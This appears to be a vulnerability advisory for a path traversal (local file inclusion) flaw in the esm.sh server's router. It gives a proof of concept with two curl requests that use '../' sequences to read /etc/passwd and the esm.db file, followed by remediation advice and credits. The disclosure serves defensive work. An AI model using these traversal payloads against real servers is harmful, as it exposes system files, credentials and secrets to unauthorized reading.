## Summary
A Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources).
**Severity:** High — LFI can expose secrets, configuration files, credentials, or enable further compromise.
**Impact:** reading configuration files, private keys, environment files, or other sensitive files; disclosure of secrets or credentials; information leakage that could enable further attacks.
Vulnerable code snippet is in this file: https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168
---
## Proof of Concept
1. Using this default config file that I copy from the repo, the server is running at `http://localhost:9999` with this command `go run server/esmd/main.go --config=config.json`
```json
{
"port": 9999,
"npmRegistry": "https://registry.npmjs.org/",
"npmToken": "******"
}
```
2. Trigger the LFI vulnerability by sending this command below to read a local file
```bash
# read /etc/passwd
curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1'
# or read the database esm.db file
curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../esm.db?raw=1&module=1'
```
<img width="3338" height="1906" alt="poc-image" src="https://github.com/user-attachments/assets/f3721e5d-a09c-4227-960a-35279ff52811" />
---
## Remediation
Simply remove any `..` in the URL path before actually process the file. See more details in [this guide](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)
## Credits
- [Ai Ho (Jessie)](https://github.com/j3ssie)
- [CL Yang](https://github.com/A11riseforme)